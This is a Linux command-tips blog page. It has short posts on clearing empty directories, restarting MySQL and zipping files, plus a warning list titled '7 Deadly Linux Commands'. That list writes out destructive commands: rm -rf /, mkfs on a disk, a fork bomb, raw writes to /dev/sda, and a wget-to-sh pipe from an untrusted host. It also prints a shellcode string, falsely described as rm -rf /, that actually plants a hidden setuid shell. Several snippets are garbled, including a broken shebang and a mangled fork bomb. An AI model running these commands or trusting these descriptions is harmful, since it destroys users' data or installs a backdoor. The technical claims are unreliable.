Logo Background RSS

» commands

  • How do I remove all empty directories?
    By on June 24th, 2009 | 23 Comments23 Comments Comments

    You can use program called cleanlinks. The cleanlinks program searches the directory tree descended from the current directory for symbolic links whose targets do not exist, and removes them. It then removes all empty directories in that directory tree. It was originally created for symbolic links based directories but works with normal directories too.

    For example if you want to remove all empty directories from /tmp directory, type the command:

    $ cd /tmp
    $ cleanlinks

    Please note that cleanlinks command is part of XFree86 project. Another method is to use combination of shell commands in script:

    #/bin/bash
    DIR=”$1″
    [ -d $DIR ] && [ $(ls -l $DIR | wc -l) -eq 1 ] && rmdir $DIR || :

    Save and execute a script:

    $ script.sh dir1

    You can also try out tmpreaper command which recursively searches for and removes files and empty directories which haven’t been accessed for a given number of seconds. Normally, it’s used to clean up directories which are used for temporary holding space, such as “/tmp”. Syntax is as follows:
    tmpreaper TIME-FORMAT DIRS

    Where,

    • TIME-FORMAT : Defines the age threshold for removing files. The TIME-FORMAT should be a number, defaulting to hours, optionally suffixed by one character: d for days, h for hours, m for minutes, or s for seconds.
    • DIRS : Directory name for example /tmp

    For example, remove all files accessed 24h before:

    # tmpreaper 24h /tmp

    Please note that tmpreaper command is not installed by default you may need to install it using apt-get or rpm command.

  • Restart Mysql from ssh
    By on February 10th, 2009 | 1 Comment1 Comment Comments

    To restart mysql service from command line (ssh)

    * Login to SSH as root using a program like putty.
    * Type the following command,

    /scripts/restartsrv_mysql

    Hope you all enjoy this command.

  • Zip file via ssh
    By on February 1st, 2009 | 2 Comments2 Comments Comments

    How many of you know how to zip a file by ssh

    # zip -r example.zip www
    
    This zips all files and directories
    • -r:Includes all files and directories -> Files
    • example.zip:The zip file you want to create
    • www : The folder you are targetting or use * if your currently in the folder.

    Comments are invited! :)

    
    
  • 7 Deadly Linux Commands
    By on October 29th, 2008 | 1 Comment1 Comment Comments

    If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

    1. Code:


    rm -rf /

    This command will recursively and forcefully delete all the files inside the root directory.

    2. Code:

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
    “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
    “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
    “x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
    “x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
    “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
    “x6ex2fx73x68x00x2dx63x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

    3. Code:

    mkfs.ext3 /dev/sda

    This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

    4. Code:

    :( ){:|:&};:

    Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

    5. Code:

    any_command > /dev/sda

    With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

    6. Code:

    wget http://some_untrusted_source -O- | sh

    Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

    7. Code:

    mv /home/yourhomedirectory/* /dev/null

    This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.